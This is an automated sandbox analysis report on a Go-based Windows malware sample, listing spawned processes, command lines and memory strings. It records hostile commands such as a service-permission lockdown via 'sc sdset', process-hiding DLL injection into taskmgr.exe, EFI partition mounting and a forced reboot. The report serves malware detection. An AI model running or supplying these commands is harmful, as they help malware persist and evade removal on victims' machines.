Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /delete /tn ScheduledUpdate /f
Imagebase:	0x7ff646d20000
File size:	226816 bytes
MD5 hash:	838D346D1D28F00783B7A6C6BD03A0DA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 6324 Parent PID: 5916

General

Start time:	13:13:07
Start date:	04/11/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: mountvol.exe PID: 6396 Parent PID: 464

General

Start time:	13:13:07
Start date:	04/11/2021
Path:	C:\Windows\SysWOW64\mountvol.exe
Wow64 process (32bit):	true
Commandline:	mountvol B: /s
Imagebase:	0x1a0000
File size:	15360 bytes
MD5 hash:	5C11B99E6D41403031CD946255E8A353
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 6344 Parent PID: 6396

General

Start time:	13:13:09
Start date:	04/11/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: mountvol.exe PID: 1312 Parent PID: 464

General

Start time:	13:13:09
Start date:	04/11/2021
Path:	C:\Windows\SysWOW64\mountvol.exe
Wow64 process (32bit):	true
Commandline:	mountvol B: /d
Imagebase:	0x1a0000
File size:	15360 bytes
MD5 hash:	5C11B99E6D41403031CD946255E8A353
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 4632 Parent PID: 1312

General

Start time:	13:13:15
Start date:	04/11/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 3544 Parent PID: 572

General

Start time:	13:13:15
Start date:	04/11/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: mountvol.exe PID: 60 Parent PID: 464

General

Start time:	13:13:15
Start date:	04/11/2021
Path:	C:\Windows\SysWOW64\mountvol.exe
Wow64 process (32bit):	true
Commandline:	mountvol B: /s
Imagebase:	0x1a0000
File size:	15360 bytes
MD5 hash:	5C11B99E6D41403031CD946255E8A353
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 5168 Parent PID: 60

General

Start time:	13:13:16
Start date:	04/11/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: mountvol.exe PID: 2056 Parent PID: 464

General

Start time:	13:13:18
Start date:	04/11/2021
Path:	C:\Windows\SysWOW64\mountvol.exe
Wow64 process (32bit):	true
Commandline:	mountvol B: /d
Imagebase:	0x1a0000
File size:	15360 bytes
MD5 hash:	5C11B99E6D41403031CD946255E8A353
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 6280 Parent PID: 2056

General

Start time:	13:13:19
Start date:	04/11/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: shutdown.exe PID: 6772 Parent PID: 464

General

Start time:	13:13:21
Start date:	04/11/2021
Path:	C:\Windows\SysWOW64\shutdown.exe
Wow64 process (32bit):	true
Commandline:	shutdown -r -t 5
Imagebase:	0xe40000
File size:	23552 bytes
MD5 hash:	E2EB9CC0FE26E28406FB6F82F8E81B26
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 6016 Parent PID: 6772

General

Start time:	13:13:21
Start date:	04/11/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 6476 Parent PID: 572

General

Start time:	13:13:26
Start date:	04/11/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: injector.exe PID: 6592 Parent PID: 464

General

Start time:	13:13:33
Start date:	04/11/2021
Path:	C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\user\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
Imagebase:	0x7ff7019b0000
File size:	288256 bytes
MD5 hash:	D98E33B66343E7C96158444127A117F6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 14%, Metadefender, Browse Detection: 73%, ReversingLabs

Chronological Activities

Analysis Process: windefender.exe PID: 4940 Parent PID: 464

General

Start time:	13:13:33
Start date:	04/11/2021
Path:	C:\Windows\windefender.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\windefender.exe
Imagebase:	0x400000
File size:	2102272 bytes
MD5 hash:	E0A50C60A85BFBB9ECF45BFF0239AAA3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 29%, Metadefender, Browse Detection: 79%, ReversingLabs

Chronological Activities

Analysis Process: conhost.exe PID: 4640 Parent PID: 6592

General

Start time:	13:13:33
Start date:	04/11/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 1460 Parent PID: 4940

General

Start time:	13:13:34
Start date:	04/11/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 4072 Parent PID: 4940

General

Start time:	13:13:34
Start date:	04/11/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
Imagebase:	0xd80000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: sc.exe PID: 5332 Parent PID: 4072

General

Start time:	13:13:35
Start date:	04/11/2021
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
Imagebase:	0xca0000
File size:	60928 bytes
MD5 hash:	24A3E2603E63BCB9695A2935D3B24695
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: windefender.exe PID: 6348 Parent PID: 572

General

Start time:	13:13:36
Start date:	04/11/2021
Path:	C:\Windows\windefender.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\windefender.exe
Imagebase:	0x400000
File size:	2102272 bytes
MD5 hash:	E0A50C60A85BFBB9ECF45BFF0239AAA3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: 0NlSa5bf55.exe PID: 2956 Parent PID: 3044 0NlSa5bf55.exeCOMMON

Executed Functions

Non-executed Functions

Function 00428A80, Relevance: 7.6, Strings: 6, Instructions: 106COMMON

Download Yara Rule

Strings

runtime: VirtualQuery failed; errno=runtime: bad notifyList size - sync=runtime: inconsistent write deadlineruntime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: mcall called on m->g0 stackruntime: sudog with non-nil waitlinkruntime:, xrefs: 00428C2C
,-./01456:;<=>?@BCFLMNOPSZ["\, xrefs: 00428BC0
runtime: g0 stack [runtime: insert t= runtime: pcdata is runtime: preempt g0semaRoot rotateLeftskip this directorystart an update: %wstopm holding lockssync.Cond is copiedtime: unknown unit too many open filesunknown Go type: %vunknown certificateunknown ciphe, xrefs: 00428B96
bad g0 stackbad recoveryc ap trafficc hs trafficcaller errorcan't happencas64 failedcdn is emptychan receiveclose notifycontent-typecontext.TODOdumping heapend tracegcentersyscallexit status failed to %wfile removedgcpacertracegetaddrinfowhost is downhttp2deb, xrefs: 00428C05
VirtualQuery for stack base failedadding nil Certificate to CertPoolcouldn't create a new cipher blockcrypto/aes: invalid buffer overlapcrypto/des: invalid buffer overlapcrypto/rc4: invalid buffer overlapcrypto/rsa: missing public modulusflag provided but not , xrefs: 00428C60
", xrefs: 00428C69

Memory Dump Source

Source File: 00000000.00000002.310849116.0000000000401000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.310843558.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.312830096.00000000008BB000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.312858399.00000000008C9000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.312877783.00000000008CC000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.312887146.00000000008CF000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.312918733.00000000008D0000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.312935160.00000000008D1000.00000004.00020000.sdmp Download File

Similarity

API ID:
String ID: "$,-./01456:;<=>?@BCFLMNOPSZ["\$VirtualQuery for stack base failedadding nil Certificate to CertPoolcouldn't create a new cipher blockcrypto/aes: invalid buffer overlapcrypto/des: invalid buffer overlapcrypto/rc4: invalid buffer overlapcrypto/rsa: missing public modulusflag provided but not $bad g0 stackbad recoveryc ap trafficc hs trafficcaller errorcan't happencas64 failedcdn is emptychan receiveclose notifycontent-typecontext.TODOdumping heapend tracegcentersyscallexit status failed to %wfile removedgcpacertracegetaddrinfowhost is downhttp2deb$runtime: VirtualQuery failed; errno=runtime: bad notifyList size - sync=runtime: inconsistent write deadlineruntime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: mcall called on m->g0 stackruntime: sudog with non-nil waitlinkruntime:$runtime: g0 stack [runtime: insert t= runtime: pcdata is runtime: preempt g0semaRoot rotateLeftskip this directorystart an update: %wstopm holding lockssync.Cond is copiedtime: unknown unit too many open filesunknown Go type: %vunknown certificateunknown ciphe
API String ID: 0-2700463446
Opcode ID: b36227f43623f392a3e5c05ce753ea97343a16ed69266c597b5510c0a2ba2e30
Instruction ID: 6b0a459e3377a8409fde6310ec4619b9913417f4ee6815ab44deb6151ab2e752
Opcode Fuzzy Hash: b36227f43623f392a3e5c05ce753ea97343a16ed69266c597b5510c0a2ba2e30
Instruction Fuzzy Hash: 2451D2B42097158FD340EF69D58575EBBE0FF88708F808A2EE48887352D7389984DF96

Uniqueness

Uniqueness Score: -1.00%

Function 004344A0, Relevance: 5.1, Strings: 4, Instructions: 106COMMON

Download Yara Rule

Strings

releasep: invalid argruntime: confused by runtime: newstack at runtime: newstack sp=runtime: work.nwait= sequence tag mismatchstale NFS file handlestartlockedm: m has pstartm: m is spinningstate not recoverablestopg: invalid statustrace/breakpoint trapunknown , xrefs: 00434662
m->p= next= p->m= prev= span=%s: %s(...), not , val 390625<-chanAcceptAnswerArabicAugustBasic BitBltBrahmiCANCELCarianChakmaCommonCookieCopticDELETEExpectFormatFridayGOAWAYGOROOTGetACPGothicHangulHatranHebrewHyphenKaithiKhojkiLepchaLockedLycianLydianMondayPA, xrefs: 00434588
m->mcache= mallocing= ms clock, nBSSRoots= p->mcache= p->status= pageSize= s.nelems= schedtick= span.list=%!(BADPREC), s.base()=, s.npages=, settings:.WithCancel/dev/stderr/dev/stdout/index.html30517578125: frame.sp=; Max-Age=0<invalid opBad GatewayBad Req, xrefs: 004345D4
releasep: m=remote errorruntime: f= runtime: gp=s ap traffics hs trafficshort buffertransmitfileunexpected )unknown portwintrust.dllwirep: p->m=wtsapi32.dll != sweepgen (default %q) (default %v) MB released MB) workers= called from flushedWork gcscanvalid , xrefs: 00434566

Memory Dump Source

Source File: 00000000.00000002.310849116.0000000000401000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.310843558.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.312830096.00000000008BB000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.312858399.00000000008C9000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.312877783.00000000008CC000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.312887146.00000000008CF000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.312918733.00000000008D0000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.312935160.00000000008D1000.00000004.00020000.sdmp Download File

Similarity

API ID:
String ID: m->mcache= mallocing= ms clock, nBSSRoots= p->mcache= p->status= pageSize= s.nelems= schedtick= span.list=%!(BADPREC), s.base()=, s.npages=, settings:.WithCancel/dev/stderr/dev/stdout/index.html30517578125: frame.sp=; Max-Age=0<invalid opBad GatewayBad Req$ m->p= next= p->m= prev= span=%s: %s(...), not , val 390625<-chanAcceptAnswerArabicAugustBasic BitBltBrahmiCANCELCarianChakmaCommonCookieCopticDELETEExpectFormatFridayGOAWAYGOROOTGetACPGothicHangulHatranHebrewHyphenKaithiKhojkiLepchaLockedLycianLydianMondayPA$releasep: invalid argruntime: confused by runtime: newstack at runtime: newstack sp=runtime: work.nwait= sequence tag mismatchstale NFS file handlestartlockedm: m has pstartm: m is spinningstate not recoverablestopg: invalid statustrace/breakpoint trapunknown $releasep: m=remote errorruntime: f= runtime: gp=s ap traffics hs trafficshort buffertransmitfileunexpected )unknown portwintrust.dllwirep: p->m=wtsapi32.dll != sweepgen (default %q) (default %v) MB released MB) workers= called from flushedWork gcscanvalid
API String ID: 0-2010693748
Opcode ID: b6649e9694e335fa88350c3692816a0c30afa0bb3c0bfa84ebb9f05c36d4d66f
Instruction ID: cf7f185b7516afb7f76f9ffdd4794b79e297fad15a1fb47cfe105c6b9081b063
Opcode Fuzzy Hash: b6649e9694e335fa88350c3692816a0c30afa0bb3c0bfa84ebb9f05c36d4d66f
Instruction Fuzzy Hash: E651C2B46083158FD704EF25D18576ABBE1BF88318F41886EE48987352D738A888DF96

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: upd.exe PID: 5716 Parent PID: 2956 upd.exeCOMMON

Executed Functions

Non-executed Functions

Function 00428B10, Relevance: 7.6, Strings: 6, Instructions: 106COMMON

Download Yara Rule

Strings

runtime: g0 stack [runtime: insert t= runtime: pcdata is runtime: preempt g0semaRoot rotateLeftskip this directorystopm holding lockssync.Cond is copiedtime: unknown unit too many open filesunexpected InstFailunexpected data: %vunknown Go type: %vunknown certi, xrefs: 00428C26
", xrefs: 00428CF9
bad g0 stackbad recoverybootmgfw.efibuild_numberc ap trafficc hs trafficcaller errorcan't happencas64 failedcdn is emptychan receiveclose notifycontent-typecontext.TODOdse disableddumping heapelectrumx.mlend tracegcentersyscallexit status found av: %sgcpacert, xrefs: 00428C95
VirtualQuery for stack base failedadding nil Certificate to CertPoolcouldn't create a new cipher blockcouldn't delete an exclusion valuecrypto/aes: invalid buffer overlapcrypto/des: invalid buffer overlapcrypto/rc4: invalid buffer overlapcrypto/rsa: missing pu, xrefs: 00428CF0
,-./01456:;<=>?@BCLMNOPSZ["\, xrefs: 00428C50
runtime: VirtualQuery failed; errno=runtime: bad notifyList size - sync=runtime: inconsistent write deadlineruntime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: mcall called on m->g0 stackruntime: sudog with non-nil waitlinkruntime:, xrefs: 00428CBC

Memory Dump Source

Source File: 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.319804634.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.321059486.00000000009FB000.00000040.00020000.sdmp Download File
Associated: 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp Download File
Associated: 00000005.00000002.321350363.0000000000C53000.00000040.00020000.sdmp Download File
Associated: 00000005.00000002.321400821.0000000000C57000.00000040.00020000.sdmp Download File
Associated: 00000005.00000002.321452085.0000000000CAA000.00000040.00020000.sdmp Download File
Associated: 00000005.00000002.321471127.0000000000CB8000.00000040.00020000.sdmp Download File
Associated: 00000005.00000002.321504840.0000000000CBB000.00000040.00020000.sdmp Download File
Associated: 00000005.00000002.321520759.0000000000CBD000.00000040.00020000.sdmp Download File
Associated: 00000005.00000002.321548818.0000000000CBF000.00000040.00020000.sdmp Download File
Associated: 00000005.00000002.321575944.0000000000CC0000.00000080.00020000.sdmp Download File
Associated: 00000005.00000002.321605537.0000000000CC1000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: "$,-./01456:;<=>?@BCLMNOPSZ["\$VirtualQuery for stack base failedadding nil Certificate to CertPoolcouldn't create a new cipher blockcouldn't delete an exclusion valuecrypto/aes: invalid buffer overlapcrypto/des: invalid buffer overlapcrypto/rc4: invalid buffer overlapcrypto/rsa: missing pu$bad g0 stackbad recoverybootmgfw.efibuild_numberc ap trafficc hs trafficcaller errorcan't happencas64 failedcdn is emptychan receiveclose notifycontent-typecontext.TODOdse disableddumping heapelectrumx.mlend tracegcentersyscallexit status found av: %sgcpacert$runtime: VirtualQuery failed; errno=runtime: bad notifyList size - sync=runtime: inconsistent write deadlineruntime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: mcall called on m->g0 stackruntime: sudog with non-nil waitlinkruntime:$runtime: g0 stack [runtime: insert t= runtime: pcdata is runtime: preempt g0semaRoot rotateLeftskip this directorystopm holding lockssync.Cond is copiedtime: unknown unit too many open filesunexpected InstFailunexpected data: %vunknown Go type: %vunknown certi
API String ID: 0-2405844374
Opcode ID: f52dded44c5bfb184fc76bd5f06ccdb749f621fea199d5de2af8de05bec7e351
Instruction ID: 602d0d954225419760eac9a183926c9f5c22208bff9d0adb6c0c5b0f89df24a9
Opcode Fuzzy Hash: f52dded44c5bfb184fc76bd5f06ccdb749f621fea199d5de2af8de05bec7e351
Instruction Fuzzy Hash: F251F8B46097158FD340EF65D18575EBBE0FF88708F80892EE48887352DB389949DB96

Uniqueness

Uniqueness Score: -1.00%

Function 00434690, Relevance: 5.1, Strings: 4, Instructions: 106COMMON

Download Yara Rule

Strings

releasep: m=remote errorruntime: f= runtime: gp=s ap traffics hs trafficshort buffersignature.%stransmitfileulrichard.chunexpected )unknown portunknown typevmacthlp.exevmtoolsd.exewatchdog.exewinlogon.exewintrust.dllwirep: p->m=wtsapi32.dll != sweepgen (defau, xrefs: 00434756
m->mcache= mallocing= ms clock, nBSSRoots= p->mcache= p->status= pageSize= s.nelems= schedtick= span.list=%!(BADPREC), s.base()=, s.npages=, settings:.WithCancel/api/report/dev/stderr/dev/stdout/index.html30517578125: frame.sp=; Max-Age=0<invalid opBad Gat, xrefs: 004347C4
releasep: invalid argruntime: confused by runtime: newstack at runtime: newstack sp=runtime: work.nwait= sequence tag mismatchstale NFS file handlestartlockedm: m has pstartm: m is spinningstate not recoverablestopg: invalid statustoo many coefficientstrace/br, xrefs: 00434852
m->p= next= p->m= prev= span=%s: %s(...), not , val -BEFV--DYOR--FMLD--FZTA--IRXC--JFQI--JQGP--JSKV--JZUF--KGQJ--KSFO--MKND--MOHU--NSFS--PFQJ--PLND--RTMD--VRSM--XQVL-.onion/%d-%d/%d-%s/31340370000390625:31461<-chanAcceptAnswerArabicAugustBasic BitBltBrahmiCA, xrefs: 00434778

Memory Dump Source

Source File: 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.319804634.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.321059486.00000000009FB000.00000040.00020000.sdmp Download File
Associated: 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp Download File
Associated: 00000005.00000002.321350363.0000000000C53000.00000040.00020000.sdmp Download File
Associated: 00000005.00000002.321400821.0000000000C57000.00000040.00020000.sdmp Download File
Associated: 00000005.00000002.321452085.0000000000CAA000.00000040.00020000.sdmp Download File
Associated: 00000005.00000002.321471127.0000000000CB8000.00000040.00020000.sdmp Download File
Associated: 00000005.00000002.321504840.0000000000CBB000.00000040.00020000.sdmp Download File
Associated: 00000005.00000002.321520759.0000000000CBD000.00000040.00020000.sdmp Download File
Associated: 00000005.00000002.321548818.0000000000CBF000.00000040.00020000.sdmp Download File
Associated: 00000005.00000002.321575944.0000000000CC0000.00000080.00020000.sdmp Download File
Associated: 00000005.00000002.321605537.0000000000CC1000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: m->mcache= mallocing= ms clock, nBSSRoots= p->mcache= p->status= pageSize= s.nelems= schedtick= span.list=%!(BADPREC), s.base()=, s.npages=, settings:.WithCancel/api/report/dev/stderr/dev/stdout/index.html30517578125: frame.sp=; Max-Age=0<invalid opBad Gat$ m->p= next= p->m= prev= span=%s: %s(...), not , val -BEFV--DYOR--FMLD--FZTA--IRXC--JFQI--JQGP--JSKV--JZUF--KGQJ--KSFO--MKND--MOHU--NSFS--PFQJ--PLND--RTMD--VRSM--XQVL-.onion/%d-%d/%d-%s/31340370000390625:31461<-chanAcceptAnswerArabicAugustBasic BitBltBrahmiCA$releasep: invalid argruntime: confused by runtime: newstack at runtime: newstack sp=runtime: work.nwait= sequence tag mismatchstale NFS file handlestartlockedm: m has pstartm: m is spinningstate not recoverablestopg: invalid statustoo many coefficientstrace/br$releasep: m=remote errorruntime: f= runtime: gp=s ap traffics hs trafficshort buffersignature.%stransmitfileulrichard.chunexpected )unknown portunknown typevmacthlp.exevmtoolsd.exewatchdog.exewinlogon.exewintrust.dllwirep: p->m=wtsapi32.dll != sweepgen (defau
API String ID: 0-626581767
Opcode ID: 4287dbe8e894c14b7b162e2ea492575a0ac3cadeebb407704c65a5693989bf62
Instruction ID: 0ae21cd2affb92439e9d6b24f9167d9253c8ca15ed842762288491891e5b1343
Opcode Fuzzy Hash: 4287dbe8e894c14b7b162e2ea492575a0ac3cadeebb407704c65a5693989bf62
Instruction Fuzzy Hash: 9251D4B4608705CFD344EF65D18575EBBE0BF88308F81896EE88887312D7799845CFA6

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: upd.exe PID: 1304 Parent PID: 5716 upd.exeCOMMON

Executed Functions

Non-executed Functions

Function 00428B10, Relevance: 7.6, Strings: 6, Instructions: 106COMMON

Download Yara Rule

Strings

bad g0 stackbad recoverybootmgfw.efibuild_numberc ap trafficc hs trafficcaller errorcan't happencas64 failedcdn is emptychan receiveclose notifycontent-typecontext.TODOdse disableddumping heapelectrumx.mlend tracegcentersyscallexit status found av: %sgcpacert, xrefs: 00428C95
", xrefs: 00428CF9
runtime: VirtualQuery failed; errno=runtime: bad notifyList size - sync=runtime: inconsistent write deadlineruntime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: mcall called on m->g0 stackruntime: sudog with non-nil waitlinkruntime:, xrefs: 00428CBC
,-./01456:;<=>?@BCLMNOPSZ["\, xrefs: 00428C50
VirtualQuery for stack base failedadding nil Certificate to CertPoolcouldn't create a new cipher blockcouldn't delete an exclusion valuecrypto/aes: invalid buffer overlapcrypto/des: invalid buffer overlapcrypto/rc4: invalid buffer overlapcrypto/rsa: missing pu, xrefs: 00428CF0
runtime: g0 stack [runtime: insert t= runtime: pcdata is runtime: preempt g0semaRoot rotateLeftskip this directorystopm holding lockssync.Cond is copiedtime: unknown unit too many open filesunexpected InstFailunexpected data: %vunknown Go type: %vunknown certi, xrefs: 00428C26

Memory Dump Source

Source File: 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.347769893.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000008.00000002.349015905.00000000009FB000.00000040.00020000.sdmp Download File
Associated: 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp Download File
Associated: 00000008.00000002.350279294.0000000000C53000.00000040.00020000.sdmp Download File
Associated: 00000008.00000002.350292388.0000000000C57000.00000040.00020000.sdmp Download File
Associated: 00000008.00000002.350499587.0000000000CAA000.00000040.00020000.sdmp Download File
Associated: 00000008.00000002.350524175.0000000000CB8000.00000040.00020000.sdmp Download File
Associated: 00000008.00000002.350533641.0000000000CBB000.00000040.00020000.sdmp Download File
Associated: 00000008.00000002.350548757.0000000000CBD000.00000040.00020000.sdmp Download File
Associated: 00000008.00000002.350559531.0000000000CBF000.00000040.00020000.sdmp Download File
Associated: 00000008.00000002.350571700.0000000000CC0000.00000080.00020000.sdmp Download File
Associated: 00000008.00000002.350578851.0000000000CC1000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: "$,-./01456:;<=>?@BCLMNOPSZ["\$VirtualQuery for stack base failedadding nil Certificate to CertPoolcouldn't create a new cipher blockcouldn't delete an exclusion valuecrypto/aes: invalid buffer overlapcrypto/des: invalid buffer overlapcrypto/rc4: invalid buffer overlapcrypto/rsa: missing pu$bad g0 stackbad recoverybootmgfw.efibuild_numberc ap trafficc hs trafficcaller errorcan't happencas64 failedcdn is emptychan receiveclose notifycontent-typecontext.TODOdse disableddumping heapelectrumx.mlend tracegcentersyscallexit status found av: %sgcpacert$runtime: VirtualQuery failed; errno=runtime: bad notifyList size - sync=runtime: inconsistent write deadlineruntime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: mcall called on m->g0 stackruntime: sudog with non-nil waitlinkruntime:$runtime: g0 stack [runtime: insert t= runtime: pcdata is runtime: preempt g0semaRoot rotateLeftskip this directorystopm holding lockssync.Cond is copiedtime: unknown unit too many open filesunexpected InstFailunexpected data: %vunknown Go type: %vunknown certi
API String ID: 0-2405844374
Opcode ID: f52dded44c5bfb184fc76bd5f06ccdb749f621fea199d5de2af8de05bec7e351
Instruction ID: 602d0d954225419760eac9a183926c9f5c22208bff9d0adb6c0c5b0f89df24a9
Opcode Fuzzy Hash: f52dded44c5bfb184fc76bd5f06ccdb749f621fea199d5de2af8de05bec7e351
Instruction Fuzzy Hash: F251F8B46097158FD340EF65D18575EBBE0FF88708F80892EE48887352DB389949DB96

Uniqueness

Uniqueness Score: -1.00%

Function 00434690, Relevance: 5.1, Strings: 4, Instructions: 106COMMON

Download Yara Rule

Strings

releasep: invalid argruntime: confused by runtime: newstack at runtime: newstack sp=runtime: work.nwait= sequence tag mismatchstale NFS file handlestartlockedm: m has pstartm: m is spinningstate not recoverablestopg: invalid statustoo many coefficientstrace/br, xrefs: 00434852
